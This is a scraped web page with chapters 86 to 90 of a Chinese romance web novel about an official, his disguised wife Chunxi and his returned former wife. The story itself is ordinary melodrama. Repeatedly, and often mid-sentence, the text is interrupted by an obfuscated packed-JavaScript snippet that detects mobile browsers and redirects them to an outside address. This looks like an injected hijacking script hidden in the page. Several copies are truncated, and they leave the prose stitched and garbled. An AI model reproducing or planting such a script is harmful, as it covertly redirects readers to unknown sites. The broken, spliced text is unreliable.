d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578745|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>青书忍不住小声说:“少夫人,我觉得你应该把这些银子还给梁夫人,不然对大人的影响不好。” “能有什么不好的,这点儿赏银够得上**吗?” **是够不上,但别人看到大人身边的人如此行径,肯定会觉得大人的正经严肃也是装出来的。 青书还想再劝,又听到春喜啧啧出声:“我本来还想分你一半的,既然你不想要,那我就都收着了。” “……” 梁家的下人动作很快,莫芸婉被抬回梁家时,为她准备的房间已经布置妥当。 房间是按照女子的喜好布置的,帘帐重重,屋里焚着香。 春喜一抬眼就看到了栩栩如生的蜀绣屏风、价值连城的汝瓷花瓶、清透金贵的云烟纱还有上好楠木打制的步摇床。 看似清新淡雅的卧房中,处处都透着贵气,和那日梁为民给沈清渊接风时的简单朴素截然不同。 梁夫人早就安排了一院子的丫鬟婆子照顾莫芸婉,春喜和青书很快被赶出屋子。 梁家的管事嬷嬷板着脸对他们说:“夫人安排的人会竭尽全力照顾沈夫人,二位是男子,不便住在后院,只能委屈你们在下人房挤一挤了。” 青书倒是无所谓,但春喜怎么能跟着他一起挤下人房,他刚想拒绝,春喜又抢先道:“不委屈不委屈,只要能在这里守着少夫人,我们住哪儿都可以。” 过了垂花门,掌事嬷嬷唤了名小厮带他们去下人房。 春喜的适应力极强,不过走了一路,就跟这个叫周二的小厮称兄道弟起来。 傍晚,沈清渊忙完一天的事来到梁家,看到的就是春喜踩着矮凳,吃着油酥花生,跟人勾肩搭背的画面。 “曹二兄弟,遇见你我才知道什么叫相见恨晚!” “周大哥,以后你就是我的亲大哥!” 眼看两人要抱头痛哭,沈清渊大步上前,把人拎到身后。 “诶?大人,你来啦。” 春喜一脸欢喜,沈清渊拨开周二的手,沉沉道:“你们继续,我跟我的随从说几句话。” 第86章 不止喜欢亲,还敢咬 沈清渊说是只说几句话却一直拉着春喜朝外走去丝毫没有要停下来的意思。 快到大门口时正好碰到负责照顾莫芸婉的张婆子。 张婆子手里捧着成衣铺刚给莫芸婉送来的几套新衣见到沈清渊立刻高兴地问:“沈大人你是来看婉娘子的吗?娘子今日哭了好久就盼着大人能来呢。” 虽然刚被派到莫芸婉身边一天张婆子俨然已经把莫芸婉当成自己的主子。 “她在贵府养伤我很放心我还有其他事要忙没时间去看她。” 沈清渊语气冷淡说完拉着春喜离开。 张婆子立刻去给莫芸婉报信。 听到沈清渊来了梁家却不肯来看自己一眼莫芸婉顿时红了眼。 张婆子连忙劝她:“这几年夫人不在大人身边大人对夫人有些疏远也很正常只要夫人快些养好身子多与大人亲近亲近大人的心思自然会回到夫人身上毕竟老奴看到夫人落泪都忍不住心疼呢。” 莫芸婉如何不懂这个道理。 她虽不是什么倾城绝色但胜在娇弱柔媚哭起来时楚楚可怜这些年还没有男人能抵挡得住她的眼泪。 可沈清渊看都不来看她她这一身本事施展给谁看? 莫芸婉抿了抿唇抓住张婆子的手说:“沈郎约莫是介意我失踪这些年身子不清白 “夫人何必让自己遭这个罪你性子刚烈咱们夫人和府上的人都是相信你的时日一长大人定然也会相信夫人的。” 张婆子说着叹了口气。 这未经人事的姑娘被验身那可是极为耻辱的事。 莫芸婉摇摇头眼睛红得越发厉害眼神却十分坚定:“不我一定要让沈郎知道我是清白的!” —— 春喜一直被沈清渊拉出梁家拽上了马车。 她小声开口:“大人是有什么重要发现吗我在梁家也问到了不少线索以前没有发现我好像还挺有查案天赋的。” 春喜有些骄傲下一刻就听到沈清渊问:“所以为了查案你要把沈夫人的位置拱手让人还要跟一群臭男人挤下人房?” 最后一抹余晖沉入大地墨一样的夜色铺染开来马车里更是昏暗无比春喜看不清楚沈清渊脸上的表情只感觉他离自己很近气息难得冷沉带着些许的压迫感。 春喜眼皮一跳她原本觉得自己挺以大局为重的但从沈清渊口中说出来怎 么像是她有些不守妇道? “大人,你误会了…… 春喜试图解释,刚开了口就被沈清渊打断:“误会什么了?你没叫别人少夫人? “…… 她叫了。 “如果我不来找你,你没打算跟那些人挤一间房? “…… 她的确是这么打算的。 沈清渊的语气严肃又正义,春喜顿时底气全无,只能弱弱开口:“我没有打算把沈夫人的位置拱手让人,只是莫芸婉的情绪太不稳定了,稍不留意就要寻死,万一她真的**,肯定有人揪着这件事大做文章,这不是对大人的声誉不好吗。 “所以呢,我名声受损,你就不打算要我了? “当然不是,春喜立刻否认,“不管大人是名声受损,还是被逐出侯府削官流放,我都会一直陪在大人身边,不离不弃! “逐出侯府、削官流放?原来你在我身边这么没有安全感? 沈清渊的语气低了下去,似乎被春喜这句话伤到自尊心,春喜心头一紧,连忙道:“我没有,我觉得大人超级厉害,这次的案子大人也一定会查个水落石出的,大人你一定要相信我! 实在着急,春喜忍不住伸手去拽沈清渊。 她没怎么用力,沈清渊整个人却向她栽了过来。 后背被马车壁抵住,无法后退,春喜整个人都被圈在沈清渊的胸膛,熟悉的皂香涌入鼻尖,她的唇还碰到了滚烫的皮肤。 春喜瞪大眼睛,不知道自己亲到了什么,下一刻唇上有什么东西滚了滚,然后是沈清渊微哑的声音:“第二次见面的时候,夫人也这样亲了我,原来夫人喜欢的是这里吗? 话里带着两分戏谑。 发声时,喉结的颤动透过嘴唇清晰地传到春喜的四肢八骸。 她亲到了沈清渊的喉结。 春喜的脸一下子烫起来,后知后觉地意识到自己似乎又一次落入了沈清渊的“圈套之中。 不过第二次见面她哪有亲他? 许是不甘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578746|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心让沈清渊一再逗弄,许是马车里太黑壮了春喜的胆,春喜勾住沈清渊的脖子,张嘴在他喉咙轻咬了一口。 “我们是拜过堂的夫妻,亲一下怎么了,我还敢咬呢。你能拿我怎么样? 春喜咬完还挑衅了一句。 沈清渊没再说话,也没有其他动作,只是呼吸沉了些。 春喜等了一会儿没等到回应,有点儿不安,忍不住伸手去碰沈清渊的脖子:“大人怎么不说话 了,我刚刚没怎么用力啊,咬疼你了吗?” 指尖刚碰到脖子,就被沈清渊抓住:“别动!” 沈清渊的声音比刚刚更哑了些,呼出来的气息也更灼烫。 春喜指尖微蜷:“真咬疼了吗?” “没有,”沈清渊松开春喜的手,在她对面落座,和她拉开距离,在春喜还想追问的时候先一步开口,“不许说话。” “哦。” 春喜乖乖闭嘴。 她本以为沈清渊要带自己回驿站,谁知马车最终竟然停在了白日莫芸婉看诊的那个医馆。 这会儿医馆早就关门,沈清渊带着她上前敲了三下门,医馆大门立刻打开。 “沈大人。” 开门的是个人高马大的青年,他对沈清渊极为恭敬,看向春喜的眼神却十分锐利,如同鹰阜。 沈清渊复又抓住春喜的手,沉声道:“她是我的妻,可以信任。” “沈夫人,得罪了。” 那人立刻低头赔罪,而后侧身让出路来。 春喜跟着沈清渊进到医馆,大门吱呀一声关上。 而大门之内,白日还满是医者药童的医馆,此刻正密密麻麻站满了上百名壮汉。 这些人虽穿着普通短打,却个个身形魁梧、手执大刀,威风凛凛。 方才开门的人将一块令牌递到沈清渊手中:“这是可以号令徐州校尉营的虎符,只要沈大人一声令下,随时都可捉拿贪官梁为民!” 陛下不是只给了三十精锐协从查案吗,这些人是从哪儿冒出来的? 春喜满脸惊讶,却不敢多问,沈清渊倒是没瞒着,捏了捏她的手说:“你以为太子殿下给人做靠山只是动动嘴皮子吗?” 第87章 莫芸婉还是完璧 莫芸婉主动要求验身梁夫人当然是大力支持的。 一大早梁夫人就带着有验身经验的婆子到了莫芸婉住的院子。 然而等了许久沈清渊也没有出现。 梁夫人忍不住问张婆子:“你确定已经传信给沈大人了?” 张婆子连忙道:“老奴昨日确实派人去了驿站传信虽然当时沈大人并没有在驿站但只要沈大人回去就一定会知道的要不老奴再派人去驿站看看?” “不用了”莫芸婉拒绝闭上眼睛道“现在开始吧。” 沈郎来不来不重要重要的是验身的结果能证明她的清白。 怕莫芸婉不自在梁夫人带人退出房间只让验身的婆子在屋里。 不多时婆子出来禀报:“回夫人这位沈夫人确实还是完璧之身。” 一个长相柔美的弱女子流落在外多年还经历了**和一群粗野灾民挤在善堂竟然真的还能保持清白。 梁夫人眼底飞快地闪过讶异而后垂眸拭泪:“我就知道婉儿妹妹是清白的这些年她吃了太多苦沈大人若是敢辜负她我第一个不答应。” 梁夫人当即让人在城中大肆宣扬莫芸婉的离奇经历还有和沈清渊的感情佳话。 他们一个千里寻夫意外失踪一个为了亡妻守身如玉、多年不曾另娶 除了在徐州城中帮莫芸婉造势梁夫人还派人快马加鞭回京给莫家和侯府传信。 只有莫芸婉顺利回到沈清渊身边才能给沈清渊吹枕边风让沈清渊相信她家老爷去年一直在尽心尽力地赈灾。 —— 莫氏收到梁家送来的信已经是好几日后。 春喜跟着沈清渊走了倒是轻松吴氏这个老虔婆赖在侯府变着花样的作妖不是喊着浑身痛要儿媳妇侍疾就是哭天喊地的说阖府上下**她。 莫氏成天跟吴氏斗智斗勇累得身心俱疲在看清梁家送来的信中内容后更是如遭当头棒喝。 莫芸婉又回来了竟然还主动缠上了沈清渊和春喜这个小贱蹄子是要找死吗? 莫氏眼皮狂跳正不知该如何是好莫家就来人了。 “我家婉娘还活着妹妹还不快派人把她接回侯府来还在等什么?” 一进门二嫂宁氏就抱怨起莫氏来。 宁氏是家中嫡女如今的身份虽然比莫氏低却从来没把莫氏这个庶出爬床的小姑子放在眼里。 莫氏这些日 子不知憋了多少火,听到宁氏这话,顿时火冒三丈:“我为什么要接她回来,当初她可是揣着别人的野种嫁进侯府的,后来又不顾廉耻与人私奔,二嫂说这话也不怕闪了自己的舌头?” “我家婉娘本来乖巧懂事,若不是妹妹那个时候经常带她出门听曲儿,她怎会被一个戏子迷了魂?而且这事妹妹本就心知肚明,却还是做主让婉儿进了门,妹妹打的什么龌龊主意我都没脸说出来。” 宁氏毫不心虚,还把所有的错都怪到莫氏头上。 当初莫氏就是见不得沈清渊好,所以竭力撮合莫芸婉和沈清渊,好更加正大光明地打压沈清渊、侵占萧氏留下来的财产。 谁知莫芸婉竟然喜欢上一个戏子,还珠胎暗结,后来更是昏了头,借着去找沈清渊的名义,卷了嫁妆跟戏子私奔。 莫氏知道真相后恨不得撕碎知情不报的二嫂,但为了保全自己的名声,最终她只能忍了这口气,和宁氏一起帮莫芸婉擦屁股,谎称她是在去找沈清渊的路上意外坠崖身故,更加坐实沈清渊克妻的名声。 等沈清渊办完案子回京已经是好几个月后,沈清渊想查也无从查起。 见沈清渊没有起疑,莫氏还打着给莫家赔罪的借口从萧氏的嫁妆里拿了不少好东西呢。 莫氏就算之前不知情,几年前帮着莫芸婉收拾完烂摊子,也和宁氏成了同伙了。 见宁氏有恃无恐,莫氏冷笑出声:“你以为逼我把她接回来是什么好事吗?要是让沈清渊查出当**,别说你我,整个莫家都不会有什么好果子吃。” “梁夫人在信上不是说了吗,她已经让人验过婉娘的身了,婉娘如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578747|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今还是完璧,当年能有什么事?” 宁氏不知道女儿是用什么法子骗过梁夫人的,但梁夫人既然能够证明她是清白的,那她就是清白的。 宁氏生莫芸婉的时候伤了身子,这些年又怀过几次,但都没保住,因此对莫芸婉这个女儿格外看重,莫芸婉私奔这些年,宁氏日夜惦念,根本睡不好,如今听到女儿还活得好好的,自然想要把女儿接回身边亲自看着。 谁年幼无知的时候不会犯错,只要能改邪归正就好了。 莫氏脸上讥讽更深:“沈清渊在京兆府办了十年的案,你当他和梁夫人一样好骗?” 想到沈清渊那张不苟言笑的脸,宁氏慌了一瞬,但很快又道:“不管怎么说,州府夫人能帮婉娘作证,说明婉娘这些年是长了本事的,只要婉娘能尽快和沈清渊圆房,再让沈清渊看到元帕,就不会有人再敢质疑。” 不等莫氏反驳,宁氏又继续道:“你那新媳妇不是个善茬,若是婉娘能回来,必然能帮着你对付她,而且你拿捏着婉娘的秘密,婉娘肯定跟你一条心,日后若有需要我帮忙的地方,我也绝不推辞。” 这些年莫氏往娘家拿了不少东西,但家里上上下下都觉得她当年爬床丢人,又怕得罪萧家,并不愿意帮她,如今宁氏主动求合作,莫氏的心免不了动摇。 莫芸婉如果回到侯府,肯定是能给沈清渊和春喜添堵的,而且得到莫家和宁家的助力,越儿和宇儿的路肯定能走得更顺些。 思索片刻,莫氏做出决断:“嫂嫂已经骗过我一次,这次让我如**你?” “太傅夫人的几个孙子都尚未婚配,再过不久是她的寿辰,我可带迟儿同去赴宴。” 宁氏给了实实在在的好处,莫氏眼睛亮起,当即道:“天气越发热了,越儿和宇儿这两日就要归家避暑,我可以让宇儿去徐州接婉娘。” 宁氏满意地勾唇,得知这个消息的卫凌泽心情也终于舒畅了几分。 沈清渊,你非要把春喜带着同行,可曾想过会落入如此左右为难的处境? 第88章 你猜我敢不敢打你? 梁夫人给莫芸婉用的都是上好的药。 卧床休养半个来月后,莫芸婉终于能下地行走了。 她第一时间坐马车来了驿站找沈清渊。 不过她来得不巧,沈清渊出门去了,驿站里只有春喜。 春喜刚把沈清渊昨日换下来的衣物洗好晾上,回屋就见莫芸婉坐在床上。 “少夫人,你……能下地走动啦? 春喜有些惊讶莫芸婉的恢复能力,莫芸婉则上下打量着她。 在她的记忆里,沈清渊身边的随从只有青书一个,从来没听说过还有曹二这么一个人。 可现在青书留在梁家,这个曹二却回到驿站照顾起沈郎的日常起居,竟是远比青书更得信任。 “咳咳。 莫芸婉掩唇轻咳两声,然后才道:“我记得你那日是跟着我去了梁家的,怎么又回到沈郎身边了?没有其他人能照顾沈郎吗? 太子殿下给了那么多的人手帮忙,根本不需要她去梁家卧薪尝胆打探情报,她自然要在大人身边照顾啊。 不过这些话不能跟莫芸婉说,春喜笑着道:“回少夫人,其他人都是公家的人,大人这个人向来公私分明,青书大哥在梁家守着少夫人,只能由我照顾大人了。 其实也没有怎么照顾,驿站有人做饭,白日沈清渊忙去了,她就在城中吃吃逛逛,品尝徐州美食。 春喜的回答的确符合沈清渊的作风,莫芸婉并未多疑,细细打量了屋子一圈又道:“我看你的衣服也挂在屋里,你与沈郎同住? 春喜的衣服不止挂在屋里,鞋子还和沈清渊的放在一处,床上也是两个枕头,但被子只有一床。 即便春喜现在是男子打扮,莫芸婉心里也很不舒服。 沈郎性子疏离,并不喜欢与人亲近,当初她每次被姑母接到侯府做客,沈郎都对她爱答不理的,若非如此,她也不会被那口蜜腹剑的戏子骗去芳心。 可是如今沈郎怎么能跟一个下人睡一张床? 这般想着,莫芸婉皱紧眉头,跟着她一起来的张婆子立刻训斥春喜:“尊卑有别,就算沈大人对下人宽厚,你自己也要知道分寸,沈大人的床榻是你能睡的吗? 说着话,张婆子动手把春喜的东西都扔到地上,又趾高气扬道:“我家夫人担心沈夫人在驿站住不好,特意让人送了一张新床来,还有各种用品,你别在这儿傻愣着了,快把屋里的东西搬出去,重新布置一番。 春喜站着没动,这时一道惊喜的声音传来:“大嫂,你真的 还活着。” 话音落下,沈清宇推开春喜冲到莫芸婉面前。 “三弟?”莫芸婉露出一个惊喜又虚弱的笑,而后动容道,“我失踪这么久,沈郎如今对我避而不见,没想到三弟竟然还愿意认我这个大嫂。” 莫芸婉今日穿了一身素青衣裙,乌发也只是用一支木簪挽着,柳眉弯弯,粉黛不施,像是沾染着晨露的小白花,惹人怜爱极了。 沈清宇只觉得这位大嫂比记忆中好看多了,他连忙道:“当初大嫂是为了找大哥才出事的,本就是大哥欠了大嫂的,如今大嫂历尽千辛万苦才回来,还证明了自己的清白,侯府上下都是认大嫂这个大少夫人的。” 沈清宇答得毫不犹豫,而且语气特别坚定,好像在他的记忆中,完全没有自家大哥再娶这回事。 莫芸婉感动得红了眼,温温柔柔地问起莫氏的身体,还有沈清越和沈清迟的情况,沈清宇全都知无不言言无不尽。 眼看叔嫂二人相谈甚欢,张婆子不满地瞪向春喜:“还不去干活,你杵在这儿做什么?” 被张婆子提醒,沈清宇才发现屋里还有个人。 等到看清春喜的脸,沈清宇的脸僵了僵。 他对春喜那日和萧清月大打出手的场景印象深刻,见张婆子对春喜这样呼来喝去,忍不住扭头问莫芸婉:“大嫂,你知道她是谁吗?” 莫芸婉点点头:“我知道,她是夫君新提拔的贴身随从曹二。” 沈清宇眼眸微睁:“我大哥是这么跟你介绍她的?” 在侯府的时候,大哥不是对这个女人很维护吗,怎么现在还不敢承认这个女人的身份了?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578748|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 莫芸婉这些日子见沈清渊的次数一个巴掌都能数得过来,她自己跟沈清渊说话都来不及,哪有精力关心这个叫曹二的来历? 而且一个贴身随从,哪里值得沈清渊亲自跟她介绍? 莫芸婉被沈清宇的一再追问弄得有些心烦,她没有回答这个问题,只道:“这些都是小事,三弟,你再跟我说说你大哥吧,我走这么多年,他没有再娶,身边可有什么红颜知己?” 听到莫芸婉说沈清渊没有再娶,沈清宇先是一愣,而后松了口气高兴起来。 他就说嘛,曹春喜就是个上不得台面的泼妇,大哥怎么可能会喜欢她这样的女子,如今大嫂回来了,对比更加鲜明,大哥只要脑子没问题,就会选大嫂做自己的夫人。 曹春喜这是失宠了啊。 想到之前自己挨的那一巴掌,沈清宇咬了咬后槽牙,手也暗暗蓄起力来。 君子报仇,十年不晚。 他今天就要好好煞一煞曹春喜的威风! 这般想着,沈清宇迅速转身冲向春喜,卯足了劲儿挥手朝春喜脸上扇去,然而他的手还没碰到春喜的脸,整个人就被一脚踹飞出去。 身体短暂腾空,而后重重落地,好死不死掉下来时还砸在了条凳上。 沈清宇只觉得自己的五脏六腑都被那一脚踹得错了位,整个人疼得蜷缩在一起哀嚎出声。 不是,这个曹春喜是属牛的吗,她的力气怎么能这么大? 而且她怎么知道他要打她? 春喜又不是沈清宇肚子里的蛔虫,当然不知道他要打自己,但沈清宇刚刚听完莫芸婉的话,脸上露出那一抹邪笑让春喜很不爽。 所以她决定履行做长嫂的职责,让这个弟弟长长教训,以后出门别再露出这样的表情,容易挨揍。 变故发生得太快,直到沈清宇痛呼出声,张婆子才反应过来,指着春喜怒骂:“混账东西,你怎么敢打侯府二少爷?” 春喜看着张婆子几乎要戳到自己脸上的手,弯眸道:“我连他都敢打,你猜我敢不敢打你?” 张婆子:“……” 第89章 谁让你放她们进来的? 张婆子被春喜震住,指着春喜的手下意识地缩了回去。 沈清宇缓过劲儿来,气急败坏地怒吼:“来人,给我把她拿下! 一声令下,沈清宇带来的随从便要冲进来,春喜伸腿一勾,将条凳甩到门口堵住众人,而后眼神凌厉地看着沈清宇:“三少爷,这可是官家驿站,你确定要在这里**? 春喜一个旋身坐到条凳上,一条腿放在地上,另一条腿则踩在凳子上,一点儿女人味儿都没有,反倒像是**如麻的山大王。 沈清宇顿时感觉肚子更痛了。 曹春喜失宠是一回事,他在官家驿站**又是另外一回事,等沈清渊回来,肯定饶不了他。 思索良久,沈清宇只能咽下这口气,咬牙道:“我不**,你把路让开! 春喜没动,只挑了下眉。 沈清宇气得怒吼:“你把我踹成这样,总得让我找大夫看看吧! 这个女人没长眼睛吗,看不出他都快疼**? 春喜下手有分寸,沈清宇身上顶多有点儿淤青疼上几日,不会有什么大碍,但他都主动要求看大夫了,春喜也没拦着,往条凳一端挪了挪,让出路来:“来两个人,送三少爷去医馆。 两个随从跨过凳子进屋把沈清宇扶起来。 身边有了人,沈清宇又有了底气,从春喜身边路过时,他恶狠狠地说:“你给我等着,这件事我不会就这么算了的! 春喜一点儿也不害怕,弯眸道:“好啊,只要你能扛得住揍,我随时奉陪。 春喜说着晃了晃拳头,沈清宇脸色一变,再不敢废话,加快速度离开。 一群人来也匆匆去也匆匆,若不是春喜依然像个土匪似的坐在门口挡着路,莫芸婉都觉得自己刚刚出现幻觉了。 张婆子亦是不可思议,她忍不住怒斥:“曹二,你好大的胆子,你可知殴打主子是以下犯上? “我的主子只有大人,没有其他人,春喜毫不犹豫地反驳,而后又看向莫芸婉,“大人向来跟三少爷不和,少夫人不清楚吗? 莫芸婉当然清楚。 她的姑母爬床上位做了清远侯夫人,并非沈郎的亲生母亲,甚至对沈郎充满恶意和算计,姑母让她嫁给沈郎,是想更加名正言顺地侵吞沈郎娘亲留下来的嫁妆。 她虽是沈郎的妻,可身上毕竟流着莫家人的血,自然要站在姑母这边。 更何况,姑母还捏着她不可告人的秘密。 莫芸婉捏紧绢帕,不赞同地摇头:“我自然知道沈郎 与三弟并不亲厚,但他们毕竟是一家人,沈郎如此信任你,你该从中调和,让他们兄弟和睦才对,而不是激化矛盾。” 春喜若有所思,似是被莫芸婉的话说服,莫芸婉正想继续,却听到春喜说:“我总算明白大人为什么不喜欢少夫人了,原来少夫人跟大人不是一条心啊。” 春喜这话相当直白,戳中莫芸婉内心最害怕的地方。 她很擅长装柔弱搏怜爱,但当年沈清渊就不吃她这套,如今她若还是没办法俘获沈清渊的心,那等待她的只有死路一条。 莫芸婉的脸色白了两分,张婆子见她被打击到,立刻帮腔:“放肆,主子之间的事岂是你能置喙的,沈大人为了夫人这么多年都未曾再娶,怎可能不喜欢夫人?” 听到张婆子的话,莫芸婉的脸色好了些。 是啊,只要沈郎未曾另娶,沈家大少夫人的位置就只能是她的,谁都夺不走。 这般想着,莫芸婉捂着胸口伏在床上低低喘气,张婆子立刻道:“夫人不舒服,需要休息,你赶紧出去。” 春喜没打算走,正要说点儿什么,沈清渊冷沉的声音传来:“你们在这儿做什么?” 莫芸婉浑身一震,再抬头时,眼尾泛红,眸底水光潋滟,又可怜又妩媚。 “沈郎,你回来啦。” 莫芸婉的声音也比刚刚在春喜面前要轻柔婉转很多。 莫芸婉用最好的姿态来迎接沈清渊,沈清渊却没有丝毫动容,他先上下打量了春喜,确定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578749|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她没有受伤,然后才把目光落在地上那堆衣服上。 那是春喜的衣裳。 沈清渊的目光骤然冷沉下去,虽然他什么都没有说,莫芸婉和张婆子都感受到了他在生气。 张婆子不自觉打了个哆嗦,而后捡起那堆衣裳说:“沈夫人如今已经能下床走动了,她不想一直在府中叨扰,想来驿站和大人同住,老奴刚刚帮着打扫屋子,不小心把曹二兄弟的衣裳弄到地上了,对不起啊曹二兄弟。” 张婆子说着把那堆衣裳抱到春喜面前,还温温和和地道了歉,和刚刚在春喜面前的趾高气扬截然不同。 春喜没接,刚想说话,沈清渊劈头盖脸的质问就落下来:“谁给你的权力随随便便放人进我的房间?” 沈清渊的语气颇凶,问的虽然是春喜,但谁都听得出来,他的怒火是冲莫芸婉去的。 他不愿意去梁家探望莫芸婉,也不愿意让莫芸婉随随便便进自己的房间。 就好像,他和莫芸婉是没有关系的陌生人。 沈清渊如此不给面子,莫芸婉难堪地落下泪来,身子却越发地软倒在床上。 “我知道沈郎还不愿意接受我,我不该擅自来打扰沈郎,可如今我受着伤,行动不便,在我伤好之前,沈郎能不能收留我一段时间?” 张婆子也跟着劝说:“刚刚夫人就感觉身子很不舒服了,求大人先让夫人休息一下,有什么话等夫人缓过来再说也不迟啊。” 莫芸婉蹙着眉流着泪趴在床上,细软的腰肢和丰满的臀部曲线不经意间显现出来。 张婆子悄悄观察着沈清渊的脸色。 如此美人躺在床上,这位沈大人只要不眼瞎,绝对舍不得在这个时候折腾她。 沈清渊的确不眼瞎,他只是有些铁石心肠。 沈清渊根本不看莫芸婉,只冷着脸命令春喜:“人是你放进来的,给你一刻钟的时间,把她们给我弄走!” 春喜:“……” 大人,我说是她们趁我不注意自己溜进来的,你信吗? 第90章 这算是夫人主动吗? 沈清渊摆明了要赶人莫芸婉再是厚脸皮也不能真的等春喜把她扔出去只能咬着唇自己爬起来在张婆子的搀扶下走出房间。 不过莫芸婉也没回粱府而是在驿站另外找了个房间住下。 屋里安静下来春喜早就收起土匪模样站起身来见沈清渊还冷冰冰地绷着脸她小心地问:“大人今日不是跟梁大人去视察堤坝水渠了吗怎么这么快就回来了?” 前几日大人可都是天黑以后才回驿站的。 春喜不问还好问完就挨了沈清渊一记眼刀子。 他刚到坝上就收到消息说沈清宇来了 她不仅把莫芸婉放进屋来连自己的东西被扔到地上都无动于衷。 她就是这么当沈夫人的? 沈清渊头一回这么凶春喜知道这误会有些大思忖片刻一个跨步上前主动亲了沈清渊一下。 沈清渊比春喜高出很多春喜只能踮脚亲他只一下就飞快撤离。 沈清渊完全没想到她会有这样的举动整个人愣在那里眼眸微睁难得的思绪空白。 过了好一会儿他才找回自己的声音:“我在跟你说正事你休想……” 春喜又踮脚亲了他一下。 不知道她白天吃了什么有股很清甜的气息唇也很软。 沈清渊握紧拳头不知道该说什么了。 原本有些冷凝的气氛缓和下来春喜才开口解释:“人不是我放进屋的我去给大人洗脏衣服了回来就发现她在屋里了东西是张婆子扔的我正打算算账呢三弟就来了等我收拾完三弟大人又回来了我这一身功夫没机会施展还被大人冤枉我简直比窦娥还冤啊。” 说到最后春喜唇角下压露出委屈的表情。 不等沈清渊开口她又踮脚凑近:“大人我是真的很在意你和沈夫人的位置的你别生气行不行?” 距离很近春喜说话时的呼吸喷到他脸上沈清渊这次分辨清楚了她吃了青梅果子。 她整个人也像是熟透了的青梅散发着香气令人口舌生津。 沈清渊不自觉咽了咽口水正想低头加深这个吻门外传来脚步声。 沈清渊下意识地把春喜捞入怀中同时眼神凌厉地抬头向门口望去。 驿站附近就有医馆大夫检查了一番确定没什么大碍只开了一瓶活血化瘀的药酒给沈清宇。 听到沈清渊回驿站了沈清 宇立刻马不停蹄地跑回来告状,然而刚走到门口,就接收到自家大哥寒森森的目光。 那眼神不像是看同父异母的弟弟,更像是要剐了他。 沈清宇缩了缩脖子,感觉后背有点儿发凉,想了一路的状词也都说不出口,最终只弱弱地问了一句:“大哥,你回来啦?” 听到沈清宇的声音,春喜从沈清渊怀里抬起头来,扯了扯他的袖子说:“大人,三少爷刚刚想打我。” “……”!!! 沈清宇瞪大眼睛,恨不得用眼神从春喜身上剜下肉来。 他这个被打的还没说什么呢,她这个恶人还先告上状了,还有没有天理了? 沈清宇怒不可遏,但见自家大哥的眼神越来越冷,只能压下怒火解释:“大哥,你别听她胡说,是她先对大嫂不敬的,我看不下去所以才说了她两句,结果她抬腿就踹我,我可是才从医馆回来呢。” “是吗?” 沈清渊发出疑问,似乎对他的话有两分相信,沈清宇立刻上前:“当然是真的,不信大哥你让她出去,我脱了衣服给你看……” 沈清宇毫无防备,刚走到沈清渊面前,就又被沈清渊一脚踹飞。 沈清渊这一脚可比春喜那一脚很多了,沈清宇直接被踹出房间,砸断护栏,摔下一楼昏死过去。 “三少爷!!!” 守在门外的随从吓得魂飞魄散,闻声出来查看情况的莫芸婉更是脸色发白。 以前沈清渊虽然跟姑母他们不亲近,但只是不理人罢了,并不会直接动手。 这几年姑母到底做了什么,让沈清渊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 